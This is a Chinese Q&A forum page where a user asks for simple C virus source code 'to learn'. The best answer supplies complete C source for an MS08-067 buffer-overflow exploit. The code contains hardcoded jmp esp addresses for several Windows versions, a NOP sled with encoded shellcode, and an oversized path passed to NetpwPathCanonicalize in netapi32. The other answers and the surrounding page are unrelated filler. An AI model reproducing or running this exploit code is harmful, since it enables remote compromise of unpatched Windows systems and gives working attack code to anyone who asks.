中易网

求几个C病毒源代码,我想学习下

答案:3  悬赏:70  
解决时间 2021-04-28 01:44
求几个C病毒源代码,简单点的就可以,只是想学习下
最佳答案
ms08-067的,不过不能算是病毒吧
#include <stdio.h>

#include <stdlib.h>

#include <tchar.h>

#include <Windows.h>

typedef void (*MYPROC)(wchar_t*, wchar_t*, int , wchar_t*, long *, int);


//DWORD jmpesp = 0x294cdf77; //jmp esp µØÖ·

//DWORD jmpesp = 0x77df4c29; //jmp esp µØÖ· win 2k sp4


//DWORD jmpesp = 0x77d5AF0A; //jmp esp µØÖ· win xp sp2

//DWORD jmpesp = 0x77d5B0E0; //jmp esp µØÖ· win xp sp2


DWORD jmpesp = 0x77d29353; //jmp esp µØÖ· win xp sp3



char sc[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"

"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"

"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"

"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"

"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"

"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"

"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"

"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"

"\x61\xdd\x0e\x4d";


int _tmain(int argc, _TCHAR* argv[])

{

unsigned char x[1000];

long q = 1;


LoadLibrary(_T("USER32.dll"));

// HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));


HMODULE hNetapi32 = LoadLibrary(_T("netapi32.dll"));


MYPROC pFunc;



wchar_t buf[1000]=L"";

wchar_t* buf1= L".\\\\x\\..\\..";

wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xpsp2


//wchar_t* buf2=L"\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; //xp sp3


char * p ;


// __asm

// {

// int 3

// }

pFunc = (MYPROC)GetProcAddress(hNetapi32,(LPCSTR)"NetpwPathCanonicalize");

wcscpy(buf,buf1);

wcscat(buf,buf2);



p=(char*)buf+(wcslen(buf1)*2-4);

int a = wcslen(buf2)*2;

memcpy(p+wcslen(buf2)*2,(char*)&jmpesp,4);

memcpy(p+wcslen(buf2)*2+4,sc,sizeof(sc));


(pFunc)(

buf,

(wchar_t*)x,

1000,

L"",

&q,

1);

return 0;

}

全部回答

去摆渡一下,应该有很多的额。谢谢

可以到网站上搜索啊!
我要举报
如以上问答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
张家港到无锡的长途汽车开到无锡哪里停车啊?
谁知道好学的歌?
单手触摸零线有危险么?
高中新生自我介绍怎样写?
我的驾驶证被扣12分吊销成c1m。我多长时间可
我剑魂45级去哪升级快省钱省疲劳,需要多长时
jkjkwk i是什么意思
钱能买到人情吗?
铜矿石去那里铸造
中御公馆北二门在哪里啊,我有事要去这个地方
爱了,如何放手?
天津哪里卖轮椅
昂达平板电脑v919 airw系统经常死机
家境贫寒的意思
跪求幻想世界(轩辕传奇。御龙在天也行)的激
推荐资讯
烟台福山富丽花园窗外挂的那个是什么??
是水木年华的, 叫生命的挑战
我的魔兽LR 装备该怎么弄
杭州哪有办公交卡的
顺达宾馆停车场怎么去啊,有知道地址的么
丹寨县劳动就业办公室这个地址在什么地方,我
蔚隆数码淘宝商城信誉怎样
请问至少六七年前在TVB播放的装修节目叫什么
有没有黑混白的诺基亚的智能机?
怎样才能做到让家人和睦,快乐?怎样做别人才
在网上学习,考试,做作业的坏处
头发分叉了还能长长么?
手机登qq时,显示手机磁盘不足,清理后重新登
刺客的套装怎么选啊?